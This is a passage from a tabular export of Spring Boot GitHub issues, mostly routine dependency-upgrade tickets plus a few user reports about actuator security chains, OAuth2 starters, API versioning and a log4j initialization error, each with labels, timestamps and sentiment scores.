- otherwise the next available filter chain will be applied, instead, since it means th... [TRUNCATED]",,2026-05-07 12:01:19+00:00,2026-06-17 11:38:15+00:00,4,nan,40.984,improve documentation and or support for securing requests made on a different management port tldr imho spring boot should provide a supported and documented way to set up the actuator endpoints on a separate management port with completely isolated spring security filter chains or at least with a dedicated chain that does not cause requests made on that port to leak into other chains unless i want it to long explanation i have a spring boot application secured with spring security and a custom security filter chain i was requested to add support for management on a different port with endpoints exposed through http open to anyone i followed the docs but it was quite hard for me to deeply understand what happens under the hood and how i should adapt my security configuration especially because matchers used to secure the application usually work on paths and not on specific ports and apparently there s no out of the box support to match on ports in the actuator api as well so this is what i ended up with after quite some investigation and debugging starting from i understood i had to create a separate security filter chain it s key that this chain is applied first through proper which is not evident from the example so that if the securitymatcher matches and this happens when the request is made on the management port this chain is applied otherwise the next available filter chain will be applied instead since it means th truncated,feature,0.9692
spring-projects/spring-boot,4398322875,Upgrade to Tomcat 11.0.22,Upgrade to [Tomcat 11.0.22](https://tomcat.apache.org/tomcat-11.0-doc/changelog.html).,"type: dependency-upgrade,status: team-only",2026-05-07 11:18:38+00:00,2026-05-07 11:42:39+00:00,0,"type: dependency-upgrade,status: team-only",0.0167,upgrade to tomcat upgrade to tomcat,others,0.0
spring-projects/spring-boot,4398322521,Upgrade to SQLite JDBC 3.53.1.0,Upgrade to [SQLite JDBC 3.53.1.0](https://github.com/xerial/sqlite-jdbc/releases/tag/3.53.1.0).,"type: task,status: superseded",2026-05-07 11:18:34+00:00,2026-05-07 11:42:38+00:00,0,"type: task,status: superseded",0.0167,upgrade to sqlite jdbc upgrade to sqlite jdbc,others,0.0
spring-projects/spring-boot,4398321969,Upgrade to SAAJ Impl 3.0.5,Upgrade to SAAJ Impl 3.0.5.,"type: task,status: superseded",2026-05-07 11:18:29+00:00,2026-05-07 11:42:38+00:00,0,"type: task,status: superseded",0.0168,upgrade to saaj impl upgrade to saaj impl,others,0.0
spring-projects/spring-boot,4398321564,Upgrade to R2DBC MySQL 1.4.2,Upgrade to [R2DBC MySQL 1.4.2](https://github.com/asyncer-io/r2dbc-mysql/releases/tag/r2dbc-mysql-1.4.2).,"type: dependency-upgrade,status: team-only",2026-05-07 11:18:24+00:00,2026-05-07 11:42:37+00:00,0,"type: dependency-upgrade,status: team-only",0.0168,upgrade to r dbc mysql upgrade to r dbc mysql,others,0.0
spring-projects/spring-boot,4398321195,Upgrade to Pulsar 4.2.1,Upgrade to [Pulsar 4.2.1](https://pulsar.apache.org/release-notes/versioned/pulsar-4.2.1).,"type: task,status: superseded",2026-05-07 11:18:20+00:00,2026-05-07 11:42:36+00:00,0,"type: task,status: superseded",0.0169,upgrade to pulsar upgrade to pulsar,others,0.0
spring-projects/spring-boot,4398320591,Upgrade to Postgresql 42.7.11,Upgrade to [Postgresql 42.7.11](https://github.com/pgjdbc/pgjdbc/releases/tag/REL42.7.11).,"type: dependency-upgrade,status: team-only",2026-05-07 11:18:15+00:00,2026-05-07 11:42:36+00:00,0,"type: dependency-upgrade,status: team-only",0.0169,upgrade to postgresql upgrade to postgresql,others,0.0
spring-projects/spring-boot,4398320163,Upgrade to Netty 4.2.13.Final,Upgrade to [Netty 4.2.13.Final](https://github.com/netty/netty/releases/tag/netty-4.2.13.Final).,"type: task,status: superseded",2026-05-07 11:18:10+00:00,2026-05-07 11:42:35+00:00,0,"type: task,status: superseded",0.017,upgrade to netty final upgrade to netty final,others,0.0
spring-projects/spring-boot,4398319613,Upgrade to Kotlin 2.3.21,Upgrade to [Kotlin 2.3.21](https://github.com/JetBrains/kotlin/releases/tag/v2.3.21).,"type: dependency-upgrade,status: team-only",2026-05-07 11:18:05+00:00,2026-05-07 11:42:34+00:00,0,"type: dependency-upgrade,status: team-only",0.017,upgrade to kotlin upgrade to kotlin,others,0.0
spring-projects/spring-boot,4398319038,Upgrade to jOOQ 3.21.3,Upgrade to [jOOQ 3.21.3](https://github.com/jOOQ/jOOQ/releases/tag/version-3.21.3).,"type: task,status: superseded",2026-05-07 11:18:01+00:00,2026-05-07 11:42:34+00:00,0,"type: task,status: superseded",0.017,upgrade to jooq upgrade to jooq,others,0.0
spring-projects/spring-boot,4398318631,Upgrade to Jakarta XML Bind 4.0.5,Upgrade to [Jakarta XML Bind 4.0.5](https://github.com/jakartaee/jaxb-api/releases/tag/4.0.5).,"type: dependency-upgrade,status: team-only",2026-05-07 11:17:56+00:00,2026-05-07 11:42:33+00:00,0,"type: dependency-upgrade,status: team-only",0.0171,upgrade to jakarta xml bind upgrade to jakarta xml bind,others,0.0
spring-projects/spring-boot,4398318184,Upgrade to Jackson Bom 3.1.3,Upgrade to [Jackson Bom 3.1.3](https://github.com/FasterXML/jackson/wiki/Jackson-Release-3.1.3).,"type: task,status: superseded",2026-05-07 11:17:51+00:00,2026-05-07 11:42:33+00:00,0,"type: task,status: superseded",0.0172,upgrade to jackson bom upgrade to jackson bom,others,0.0
spring-projects/spring-boot,4398317532,Upgrade to Jackson 2 Bom 2.21.3,Upgrade to [Jackson 2 Bom 2.21.3](https://github.com/FasterXML/jackson/wiki/Jackson-Release-2.21.3).,"type: task,status: superseded",2026-05-07 11:17:45+00:00,2026-05-07 11:42:32+00:00,0,"type: task,status: superseded",0.0172,upgrade to jackson bom upgrade to jackson bom,others,0.0
spring-projects/spring-boot,4398317019,Upgrade to Infinispan 16.1.4,Upgrade to [Infinispan 16.1.4](https://github.com/infinispan/infinispan/releases/tag/16.1.4).,"type: dependency-upgrade,status: team-only",2026-05-07 11:17:41+00:00,2026-05-07 11:42:31+00:00,0,"type: dependency-upgrade,status: team-only",0.0172,upgrade to infinispan upgrade to infinispan,others,0.0
spring-projects/spring-boot,4398316579,Upgrade to Hibernate 7.2.13.Final,Upgrade to [Hibernate 7.2.13.Final](https://github.com/hibernate/hibernate-orm/releases/tag/7.2.13).,"type: task,status: superseded",2026-05-07 11:17:36+00:00,2026-05-07 11:42:31+00:00,0,"type: task,status: superseded",0.0173,upgrade to hibernate final upgrade to hibernate final,others,0.0
spring-projects/spring-boot,4398316015,Upgrade to Groovy 5.0.6,Upgrade to Groovy 5.0.6.,"type: dependency-upgrade,status: team-only",2026-05-07 11:17:31+00:00,2026-05-07 11:42:30+00:00,0,"type: dependency-upgrade,status: team-only",0.0173,upgrade to groovy upgrade to groovy,others,0.0
spring-projects/spring-boot,4398315493,Upgrade to Glassfish JAXB 4.0.8,Upgrade to [Glassfish JAXB 4.0.8](https://github.com/eclipse-ee4j/jaxb-ri/releases/tag/4.0.8-RI).,"type: task,status: superseded",2026-05-07 11:17:27+00:00,2026-05-07 11:42:29+00:00,1,"type: task,status: superseded",0.0174,upgrade to glassfish jaxb upgrade to glassfish jaxb,others,0.0
spring-projects/spring-boot,4398315080,Upgrade to Caffeine 3.2.4,Upgrade to [Caffeine 3.2.4](https://github.com/ben-manes/caffeine/releases/tag/v3.2.4).,"type: dependency-upgrade,status: team-only",2026-05-07 11:17:22+00:00,2026-05-07 11:42:29+00:00,0,"type: dependency-upgrade,status: team-only",0.0174,upgrade to caffeine upgrade to caffeine,others,0.0
spring-projects/spring-boot,4398314668,Upgrade to ActiveMQ 6.2.5,Upgrade to [ActiveMQ 6.2.5](https://activemq.apache.org/components/classic/download/classic-06-02-05).,"type: task,status: superseded",2026-05-07 11:17:18+00:00,2026-05-07 11:42:28+00:00,0,"type: task,status: superseded",0.0175,upgrade to activemq upgrade to activemq,others,0.0
spring-projects/spring-boot,4398287361,Prohibit upgrades to Jetty 12.1.9,Forward port of issue #50329 to 4.1.x.,"type: task,status: forward-port,status: team-only",2026-05-07 11:12:56+00:00,2026-05-07 11:42:27+00:00,0,"type: task,status: forward-port,status: team-only",0.0205,prohibit upgrades to jetty forward port of issue to x,others,0.0
spring-projects/spring-boot,4397728548,Upgrade to Tomcat 11.0.22,Upgrade to [Tomcat 11.0.22](https://tomcat.apache.org/tomcat-11.0-doc/changelog.html).,"type: dependency-upgrade,status: team-only",2026-05-07 09:41:06+00:00,2026-05-07 11:22:20+00:00,5,"type: dependency-upgrade,status: team-only",0.0703,upgrade to tomcat upgrade to tomcat,others,0.0
spring-projects/spring-boot,4397728061,Upgrade to SAAJ Impl 3.0.5,Upgrade to SAAJ Impl 3.0.5.,"type: task,status: superseded",2026-05-07 09:41:01+00:00,2026-05-07 11:22:19+00:00,0,"type: task,status: superseded",0.0703,upgrade to saaj impl upgrade to saaj impl,others,0.0
spring-projects/spring-boot,4397727485,Upgrade to R2DBC MySQL 1.4.2,Upgrade to [R2DBC MySQL 1.4.2](https://github.com/asyncer-io/r2dbc-mysql/releases/tag/r2dbc-mysql-1.4.2).,"type: dependency-upgrade,status: team-only",2026-05-07 09:40:56+00:00,2026-05-07 11:22:18+00:00,0,"type: dependency-upgrade,status: team-only",0.0704,upgrade to r dbc mysql upgrade to r dbc mysql,others,0.0
spring-projects/spring-boot,4397727101,Upgrade to Postgresql 42.7.11,Upgrade to [Postgresql 42.7.11](https://github.com/pgjdbc/pgjdbc/releases/tag/REL42.7.11).,"type: dependency-upgrade,status: team-only",2026-05-07 09:40:51+00:00,2026-05-07 11:22:18+00:00,0,"type: dependency-upgrade,status: team-only",0.0705,upgrade to postgresql upgrade to postgresql,others,0.0
spring-projects/spring-boot,4397726665,Upgrade to Netty 4.2.13.Final,Upgrade to [Netty 4.2.13.Final](https://github.com/netty/netty/releases/tag/netty-4.2.13.Final).,"type: task,status: superseded",2026-05-07 09:40:47+00:00,2026-05-07 11:22:17+00:00,0,"type: task,status: superseded",0.0705,upgrade to netty final upgrade to netty final,others,0.0
spring-projects/spring-boot,4397726071,Upgrade to jOOQ 3.19.33,Upgrade to [jOOQ 3.19.33](https://github.com/jOOQ/jOOQ/releases/tag/version-3.19.33).,"type: task,status: superseded",2026-05-07 09:40:42+00:00,2026-05-07 11:22:16+00:00,0,"type: task,status: superseded",0.0705,upgrade to jooq upgrade to jooq,others,0.0
spring-projects/spring-boot,4397725657,Prohibit upgrades to Jetty 12.1.9,Upgrade to [Jetty 12.1.9](https://github.com/jetty/jetty.project/releases/tag/jetty-12.1.9).,"type: task,status: team-only",2026-05-07 09:40:37+00:00,2026-05-07 11:22:16+00:00,1,"type: task,status: team-only",0.0706,prohibit upgrades to jetty upgrade to jetty,others,0.0
spring-projects/spring-boot,4397725275,Upgrade to Jakarta XML Bind 4.0.5,Upgrade to [Jakarta XML Bind 4.0.5](https://github.com/jakartaee/jaxb-api/releases/tag/4.0.5).,"type: dependency-upgrade,status: team-only",2026-05-07 09:40:32+00:00,2026-05-07 11:22:15+00:00,0,"type: dependency-upgrade,status: team-only",0.0706,upgrade to jakarta xml bind upgrade to jakarta xml bind,others,0.0
spring-projects/spring-boot,4397724666,Upgrade to Jackson Bom 3.1.3,Upgrade to [Jackson Bom 3.1.3](https://github.com/FasterXML/jackson/wiki/Jackson-Release-3.1.3).,"type: task,status: superseded",2026-05-07 09:40:28+00:00,2026-05-07 11:22:14+00:00,0,"type: task,status: superseded",0.0707,upgrade to jackson bom upgrade to jackson bom,others,0.0
spring-projects/spring-boot,4397724229,Upgrade to Jackson 2 Bom 2.21.3,Upgrade to [Jackson 2 Bom 2.21.3](https://github.com/FasterXML/jackson/wiki/Jackson-Release-2.21.3).,"type: task,status: superseded",2026-05-07 09:40:23+00:00,2026-05-07 11:22:14+00:00,0,"type: task,status: superseded",0.0707,upgrade to jackson bom upgrade to jackson bom,others,0.0
spring-projects/spring-boot,4397723814,Upgrade to Hibernate 7.2.13.Final,Upgrade to [Hibernate 7.2.13.Final](https://github.com/hibernate/hibernate-orm/releases/tag/7.2.13).,"type: task,status: superseded",2026-05-07 09:40:18+00:00,2026-05-07 11:22:13+00:00,0,"type: task,status: superseded",0.0708,upgrade to hibernate final upgrade to hibernate final,others,0.0
spring-projects/spring-boot,4397723222,Upgrade to Groovy 5.0.6,Upgrade to Groovy 5.0.6.,"type: dependency-upgrade,status: team-only",2026-05-07 09:40:14+00:00,2026-05-07 11:22:12+00:00,0,"type: dependency-upgrade,status: team-only",0.0708,upgrade to groovy upgrade to groovy,others,0.0
spring-projects/spring-boot,4397722758,Upgrade to Glassfish JAXB 4.0.8,Upgrade to [Glassfish JAXB 4.0.8](https://github.com/eclipse-ee4j/jaxb-ri/releases/tag/4.0.8-RI).,"type: task,status: superseded",2026-05-07 09:40:09+00:00,2026-05-07 11:22:12+00:00,1,"type: task,status: superseded",0.0709,upgrade to glassfish jaxb upgrade to glassfish jaxb,others,0.0
spring-projects/spring-boot,4397722283,Upgrade to Caffeine 3.2.4,Upgrade to [Caffeine 3.2.4](https://github.com/ben-manes/caffeine/releases/tag/v3.2.4).,"type: dependency-upgrade,status: team-only",2026-05-07 09:40:04+00:00,2026-05-07 11:22:11+00:00,0,"type: dependency-upgrade,status: team-only",0.0709,upgrade to caffeine upgrade to caffeine,others,0.0
spring-projects/spring-boot,4397718387,Link to Netty releases in dependency upgrade issues,"Netty has started to publish releases (see https://github.com/netty/netty/releases/tag/netty-4.1.133.Final, for example) so we should start linking to them from our dependency upgrade issues.",type: task,2026-05-07 09:39:28+00:00,2026-05-07 14:51:06+00:00,0,type: task,0.2164,link to netty releases in dependency upgrade issues netty has started to publish releases see for example so we should start linking to them from our dependency upgrade issues,bug,0.0
spring-projects/spring-boot,4397436337,Upgrade to SAAJ Impl 3.0.5,Upgrade to SAAJ Impl 3.0.5.,"type: task,status: superseded",2026-05-07 08:55:05+00:00,2026-05-07 09:36:01+00:00,0,"type: task,status: superseded",0.0284,upgrade to saaj impl upgrade to saaj impl,others,0.0
spring-projects/spring-boot,4397435846,Upgrade to R2DBC MySQL 1.4.2,Upgrade to [R2DBC MySQL 1.4.2](https://github.com/asyncer-io/r2dbc-mysql/releases/tag/r2dbc-mysql-1.4.2).,"type: dependency-upgrade,status: team-only",2026-05-07 08:55:01+00:00,2026-05-07 09:36:00+00:00,0,"type: dependency-upgrade,status: team-only",0.0285,upgrade to r dbc mysql upgrade to r dbc mysql,others,0.0
spring-projects/spring-boot,4397435435,Upgrade to Pulsar 4.0.10,Upgrade to [Pulsar 4.0.10](https://pulsar.apache.org/release-notes/versioned/pulsar-4.0.10).,"type: task,status: superseded",2026-05-07 08:54:56+00:00,2026-05-07 09:35:59+00:00,0,"type: task,status: superseded",0.0285,upgrade to pulsar upgrade to pulsar,others,0.0
spring-projects/spring-boot,4397435019,Upgrade to Postgresql 42.7.11,Upgrade to [Postgresql 42.7.11](https://github.com/pgjdbc/pgjdbc/releases/tag/REL42.7.11).,"type: dependency-upgrade,status: team-only",2026-05-07 08:54:52+00:00,2026-05-07 09:35:59+00:00,0,"type: dependency-upgrade,status: team-only",0.0286,upgrade to postgresql upgrade to postgresql,others,0.0
spring-projects/spring-boot,4397434582,Upgrade to Netty 4.1.133.Final,Upgrade to [Netty 4.1.133.Final](https://github.com/netty/netty/releases/tag/netty-4.1.133.Final).,"type: task,status: superseded",2026-05-07 08:54:47+00:00,2026-05-07 09:35:58+00:00,0,"type: task,status: superseded",0.0286,upgrade to netty final upgrade to netty final,others,0.0
spring-projects/spring-boot,4397434160,Upgrade to jOOQ 3.19.33,Upgrade to [jOOQ 3.19.33](https://github.com/jOOQ/jOOQ/releases/tag/version-3.19.33).,"type: task,status: superseded",2026-05-07 08:54:42+00:00,2026-05-07 09:35:57+00:00,0,"type: task,status: superseded",0.0286,upgrade to jooq upgrade to jooq,others,0.0
spring-projects/spring-boot,4397433711,Upgrade to Jetty 12.0.35,Upgrade to [Jetty 12.0.35](https://github.com/jetty/jetty.project/releases/tag/jetty-12.0.35).,"type: task,status: superseded",2026-05-07 08:54:38+00:00,2026-05-07 09:35:57+00:00,0,"type: task,status: superseded",0.0287,upgrade to jetty upgrade to jetty,others,0.0
spring-projects/spring-boot,4397433270,Upgrade to Jakarta XML Bind 4.0.5,Upgrade to [Jakarta XML Bind 4.0.5](https://github.com/jakartaee/jaxb-api/releases/tag/4.0.5).,"type: dependency-upgrade,status: team-only",2026-05-07 08:54:33+00:00,2026-05-07 09:35:56+00:00,0,"type: dependency-upgrade,status: team-only",0.0287,upgrade to jakarta xml bind upgrade to jakarta xml bind,others,0.0
spring-projects/spring-boot,4397432820,Upgrade to Jackson Bom 2.21.3,Upgrade to [Jackson Bom 2.21.3](https://github.com/FasterXML/jackson/wiki/Jackson-Release-2.21.3).,"type: task,status: superseded",2026-05-07 08:54:28+00:00,2026-05-07 09:35:56+00:00,0,"type: task,status: superseded",0.0288,upgrade to jackson bom upgrade to jackson bom,others,0.0
spring-projects/spring-boot,4397432408,Upgrade to Hibernate 6.6.50.Final,Upgrade to [Hibernate 6.6.50.Final](https://github.com/hibernate/hibernate-orm/releases/tag/6.6.50).,"type: task,status: superseded",2026-05-07 08:54:24+00:00,2026-05-07 09:35:55+00:00,0,"type: task,status: superseded",0.0288,upgrade to hibernate final upgrade to hibernate final,others,0.0
spring-projects/spring-boot,4397431981,Upgrade to Groovy 4.0.32,Upgrade to Groovy 4.0.32.,"type: dependency-upgrade,status: team-only",2026-05-07 08:54:19+00:00,2026-05-07 09:35:54+00:00,0,"type: dependency-upgrade,status: team-only",0.0289,upgrade to groovy upgrade to groovy,others,0.0
spring-projects/spring-boot,4397431569,Upgrade to Glassfish JAXB 4.0.8,Upgrade to [Glassfish JAXB 4.0.8](https://github.com/eclipse-ee4j/jaxb-ri/releases/tag/4.0.8-RI).,"type: task,status: superseded",2026-05-07 08:54:15+00:00,2026-05-07 09:35:54+00:00,0,"type: task,status: superseded",0.0289,upgrade to glassfish jaxb upgrade to glassfish jaxb,others,0.0
spring-projects/spring-boot,4397431126,Upgrade to Caffeine 3.2.4,Upgrade to [Caffeine 3.2.4](https://github.com/ben-manes/caffeine/releases/tag/v3.2.4).,"type: dependency-upgrade,status: team-only",2026-05-07 08:54:10+00:00,2026-05-07 09:35:53+00:00,0,"type: dependency-upgrade,status: team-only",0.029,upgrade to caffeine upgrade to caffeine,others,0.0
spring-projects/spring-boot,4397353483,Upgrade to Netty 4.2.13.Final,Netty [4.2.13.Final](https://github.com/netty/netty/releases/tag/netty-4.2.13.Final) resolves a bunch of CVEs.,status: declined,2026-05-07 08:41:08+00:00,2026-05-07 08:46:23+00:00,1,status: declined,0.0036,upgrade to netty final netty final resolves a bunch of cves,others,0.1779
spring-projects/spring-boot,4395535826,Log time taken for ApplicationRunner and CommandLineRunner execution at startup,"<!--
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🙅 ""Please DO NOT Raise an Issue"" Cases
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🐞 Bug report (please don't include this emoji/text, just add your details)
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🎁 Enhancement (please don't include this emoji/text, just add your details)
Please start by describing t... [TRUNCATED]",status: declined,2026-05-07 01:38:10+00:00,2026-05-07 07:07:11+00:00,3,status: declined,0.2285,log time taken for applicationrunner and commandlinerunner execution at startup thanks for raising a spring boot issue please take the time to review the following categories as some of them do not apply here please do not raise an issue cases question stop please ask questions about how to use something or to understand why something isn t working as you expect it to on stack overflow using the spring boot tag security vulnerability stop please don t raise security vulnerabilities here head over to to learn how to disclose them responsibly managed dependency upgrade you do not need to raise an issue for a managed dependency version upgrade as there s a semi automatic process for checking managed dependencies for new versions before a release but pull requests for upgrades that are more involved than just a version property change are still most welcome with an immediate pull request an issue will be closed as a duplicate of the immediate pull request so you don t have to raise an issue if you plan to create a pull request immediately bug report please don t include this emoji text just add your details please provide details of the problem including the version of spring boot that you are using if possible please provide a test case or sample application that reproduces the problem this makes it much easier for us to diagnose the problem and to verify that we have fixed it enhancement please don t include this emoji text just add your details please start by describing t truncated,others,0.9311
spring-projects/spring-boot,4386188035,Spring Boot Loader Does Not Support RSA and EC Signed Jars,Forward port of issue #50292 to 4.0.x.,"type: bug,status: forward-port",2026-05-05 18:15:23+00:00,2026-05-05 18:35:42+00:00,2,"type: bug,status: forward-port",0.0141,spring boot loader does not support rsa and ec signed jars forward port of issue to x,bug,-0.3089
spring-projects/spring-boot,4385106389,Pin Antora's node installation to use 24.14.x,We're seeing [crashes in node on Windows](https://ge.spring.io/s/cczdd4w3ubusi/failures#1) when running Antora. This appears to coincide with the release of 24.15.0 and the crashes are similar to those reported in [this issue](https://github.com/nodejs/node/issues/62991).,type: task,2026-05-05 15:07:09+00:00,2026-05-06 08:16:54+00:00,0,type: task,0.7151,pin antora s node installation to use x we re seeing crashes in node on windows when running antora this appears to coincide with the release of and the crashes are similar to those reported in this issue,others,0.0
spring-projects/spring-boot,4383730982,Question: Why does spring-boot-starter-security-oauth2-client include spring-boot-starter-security as a dependency in Spring Boot 4.x?,"<!--
Thanks for raising a Spring Boot issue. Please take the time to review the following
categories as some of them do not apply here.

🙅 ""Please DO NOT Raise an Issue"" Cases
- Question
STOP!! Please ask questions about how to use something, or to understand why something isn't
working as you expect it to, on Stack Overflow using the spring-boot tag.
- Security Vulnerability
STOP!! Please don't raise security vulnerabilities here. Head over to https://spring.io/security-policy to learn how to disclose them responsibly.
- Managed Dependency Upgrade
You DO NOT need to raise an issue for a managed dependency version upgrade as there's a semi-automatic process for checking managed dependencies for new versions before a release. BUT pull requests for upgrades that are more involved than just a version property change are still most welcome.
- With an Immediate Pull Request
An issue will be closed as a duplicate of the immediate pull request, so you don't have to raise an issue if you plan to create a pull request immediately.
-->

**Describe the issue**

I'm reaching out regarding a change I've noticed when migrating from Spring Boot 3.x to 4.x related to OAuth2 client support.  
Previously, in 3.x, the `spring-boot-starter-oauth2-client` starter had the following dependencies ([see build.gradle for 3.x](https://github.com/spring-projects/spring-boot/blob/7d7b3ac12735161f9c096ce6cb415bdd9fc4a0f4/spring-boot-project/spring-boot-starters/spring-boot-starter-oauth2-client/build.grad... [TRUNCATED]",,2026-05-05 11:40:41+00:00,2026-05-06 08:06:05+00:00,3,nan,0.851,question why does spring boot starter security oauth client include spring boot starter security as a dependency in spring boot x thanks for raising a spring boot issue please take the time to review the following categories as some of them do not apply here please do not raise an issue cases question stop please ask questions about how to use something or to understand why something isn t working as you expect it to on stack overflow using the spring boot tag security vulnerability stop please don t raise security vulnerabilities here head over to to learn how to disclose them responsibly managed dependency upgrade you do not need to raise an issue for a managed dependency version upgrade as there s a semi automatic process for checking managed dependencies for new versions before a release but pull requests for upgrades that are more involved than just a version property change are still most welcome with an immediate pull request an issue will be closed as a duplicate of the immediate pull request so you don t have to raise an issue if you plan to create a pull request immediately describe the issue i m reaching out regarding a change i ve noticed when migrating from spring boot x to x related to oauth client support previously in x the starter had the following dependencies see build gradle for x truncated,help,0.9598
spring-projects/spring-boot,4381603015,InvalidApiVersionException thrown when required=false and path has no version segment,"
I have already reported this issue to the spring framework issues https://github.com/spring-projects/spring-framework/issues/36751 because its hard to me to tell where this issue belongs.

Spring Boot: 4.0.6

Expected: required=false should handle missing path segment gracefully
Actual: throws InvalidApiVersionException: ""No path segment at index 1""

Config:
spring.mvc.apiversion.use.path-segment=1
spring.mvc.apiversion.required=false

```
@RestController
class ActivitiesApiController(
    private val activityService: ActivityService
) {

    @GetMapping(""/api/{version}/activities/foo"", version = ""1.0"")
    fun getActivities1(): List<ItineraryItem> {
        return activityService.getActivities(ActivityFilter(), Pageable.unpaged()).content.map { it.toSharedModel() }
    }

    @GetMapping(""/api/activities/foo"")
    fun getActivities(): List<ItineraryItem> {
        return activityService.getActivities(ActivityFilter(), Pageable.unpaged()).content.map { it.toSharedModel() }
    }
  }
}

```
Reproduction:
GET /api/activities/foo  → 400 InvalidApiVersionException
GET /api/1.0/activities/foo → 200 OK
","status: invalid,for: external-project",2026-05-05 04:49:45+00:00,2026-05-05 05:10:57+00:00,1,"status: invalid,for: external-project",0.0147,invalidapiversionexception thrown when required false and path has no version segment i have already reported this issue to the spring framework issues because its hard to me to tell where this issue belongs spring boot expected required false should handle missing path segment gracefully actual throws invalidapiversionexception no path segment at index config spring mvc apiversion use path segment spring mvc apiversion required false reproduction get api activities foo invalidapiversionexception get api activities foo ok,others,-0.3612
spring-projects/spring-boot,4380825984,Spring Boot Loader Does Not Support RSA and EC Signed Jars,"<!--
Thanks for raising a Spring Boot issue. Please take the time to review the following
categories as some of them do not apply here.

🙅 ""Please DO NOT Raise an Issue"" Cases
- Question
STOP!! Please ask questions about how to use something, or to understand why something isn't
working as you expect it to, on Stack Overflow using the spring-boot tag.
- Security Vulnerability
STOP!! Please don't raise security vulnerabilities here. Head over to https://spring.io/security-policy to learn how to disclose them responsibly.
- Managed Dependency Upgrade
You DO NOT need to raise an issue for a managed dependency version upgrade as there's a semi-automatic process for checking managed dependencies for new versions before a release. BUT pull requests for upgrades that are more involved than just a version property change are still most welcome.
- With an Immediate Pull Request
An issue will be closed as a duplicate of the immediate pull request, so you don't have to raise an issue if you plan to create a pull request immediately.

🐞 Bug report (please don't include this emoji/text, just add your details)
Please provide details of the problem, including the version of Spring Boot that you
are using. If possible, please provide a test case or sample application that reproduces
the problem. This makes it much easier for us to diagnose the problem and to verify that
we have fixed it.

🎁 Enhancement (please don't include this emoji/text, just add your details)
Please start by describing t... [TRUNCATED]",type: bug,2026-05-05 01:25:14+00:00,2026-05-05 18:35:41+00:00,1,type: bug,0.7156,spring boot loader does not support rsa and ec signed jars thanks for raising a spring boot issue please take the time to review the following categories as some of them do not apply here please do not raise an issue cases question stop please ask questions about how to use something or to understand why something isn t working as you expect it to on stack overflow using the spring boot tag security vulnerability stop please don t raise security vulnerabilities here head over to to learn how to disclose them responsibly managed dependency upgrade you do not need to raise an issue for a managed dependency version upgrade as there s a semi automatic process for checking managed dependencies for new versions before a release but pull requests for upgrades that are more involved than just a version property change are still most welcome with an immediate pull request an issue will be closed as a duplicate of the immediate pull request so you don t have to raise an issue if you plan to create a pull request immediately bug report please don t include this emoji text just add your details please provide details of the problem including the version of spring boot that you are using if possible please provide a test case or sample application that reproduces the problem this makes it much easier for us to diagnose the problem and to verify that we have fixed it enhancement please don t include this emoji text just add your details please start by describing t truncated,bug,0.9226
spring-projects/spring-boot,4380135579,Align DocumentBuilderFactory configuration,Forward port of issue #50289 to 4.1.x.,"type: task,status: forward-port",2026-05-04 22:37:47+00:00,2026-05-04 22:47:54+00:00,0,"type: task,status: forward-port",0.007,align documentbuilderfactory configuration forward port of issue to x,documentation,0.0
spring-projects/spring-boot,4379617150,Align DocumentBuilderFactory configuration,Forward port of issue #50282 to 4.0.x.,"type: task,status: forward-port",2026-05-04 20:56:38+00:00,2026-05-04 22:47:54+00:00,0,"type: task,status: forward-port",0.0773,align documentbuilderfactory configuration forward port of issue to x,documentation,0.0
spring-projects/spring-boot,4375197311,Configuration processor not resolving default values and documentation in nested configuration property classes when the POJO naming conventions are not followed,"Having the following configuration properties structure:

```java
@ConfigurationProperties(""my.props"")
public class MyProps {

    @NestedConfigurationProperty
    private final Foo foo;

    public MyProps(@DefaultValue Foo foo) {
        this.foo = foo;
    }

    public Foo getFoo() {
        return foo;
    }
}
```

```java
public class Foo {

    /**
     * property of Foo.
     */
    String myProperty = ""default"";

    public String getProperty() {
        return myProperty;
    }

    public void setProperty(String property) {
        this.myProperty = property;
    }
}
```

the following `spring-configuration-metadata.json` is generated:

```json
{
  ""groups"": [
    {
      ""name"": ""my.props"",
      ""type"": ""com.example.demo.props.MyProps"",
      ""sourceType"": ""com.example.demo.props.MyProps""
    },
    {
      ""name"": ""my.props.foo"",
      ""type"": ""com.example.demo.props.Foo"",
      ""sourceType"": ""com.example.demo.props.MyProps"",
      ""sourceMethod"": ""getFoo()""
    }
  ],
  ""properties"": [
    {
      ""name"": ""my.props.foo.property"",
      ""type"": ""java.lang.String"",
      ""sourceType"": ""com.example.demo.props.Foo""
    }
  ],
  ""hints"": [],
  ""ignored"": {
    ""properties"": []
  }
}
```

The issue is that the default value and documentation from javadoc is not generated in the metadata.json file when nested configuration properties class is not following the POJO naming conventions. But the default value is successfully resolved on runtime. 

When we rename the `Foo... [TRUNCATED]",status: invalid,2026-05-04 08:52:00+00:00,2026-05-05 14:04:41+00:00,4,status: invalid,1.2171,configuration processor not resolving default values and documentation in nested configuration property classes when the pojo naming conventions are not followed having the following configuration properties structure the following is generated the issue is that the default value and documentation from javadoc is not generated in the metadata json file when nested configuration properties class is not following the pojo naming conventions but the default value is successfully resolved on runtime when we rename the foo truncated,documentation,0.8372
spring-projects/spring-boot,4367310927,Incorrect ivysettings.xml file is produced by RepositoryTransformersExtension,,,2026-05-02 00:46:17+00:00,2026-05-02 00:48:48+00:00,0,nan,0.0017,incorrect ivysettings xml file is produced by repositorytransformersextension,others,0.0
spring-projects/spring-boot,4366903985,Could not initialize class org.apache.logging.log4j.status.StatusLogger,"I have a simple spring-boot application, here are relevant parts of the poms.

Parent POM
```
<dependencyManagement>
  <!-- ... -->
  <dependency>
      <groupId>org.springframework.boot</groupId>
      <artifactId>spring-boot-dependencies</artifactId>
      <version>${spring-boot.version}</version>
      <type>pom</type>
      <scope>import</scope>
  </dependency>
  <!-- ... -->
</dependencyManagement>
```

Child POM
```
<dependencies>
  <!-- ... -->
  <dependency>
      <groupId>org.springframework.boot</groupId>
      <artifactId>spring-boot-starter-webmvc</artifactId>
  </dependency>
  <dependency>
      <groupId>org.springframework.boot</groupId>
      <artifactId>spring-boot-starter-jdbc</artifactId>
  </dependency>
  <!-- ... -->
</dependencies>
```

Then I have this very basic test in the child artifact:
```java
@SpringJUnitConfig
class ServiceTest {
    @Test
    fun test() {
    }

    @TestConfiguration
    class TestConfig {

    }
}
```

Running this test with `spring-boot.version` set to 4.0.1 works fine.
But switching to 4.0.6, I get the following error:

```
java.lang.NoClassDefFoundError: Could not initialize class org.apache.logging.log4j.status.StatusLogger

	at org.apache.logging.log4j.LogManager.<clinit>(LogManager.java:61)
	at org.apache.commons.logging.impl.Log4jApiLogFactory$LogAdapter.getContext(Log4jApiLogFactory.java:161)
	at org.apache.logging.log4j.spi.AbstractLoggerAdapter.getLogger(AbstractLoggerAdapter.java:47)
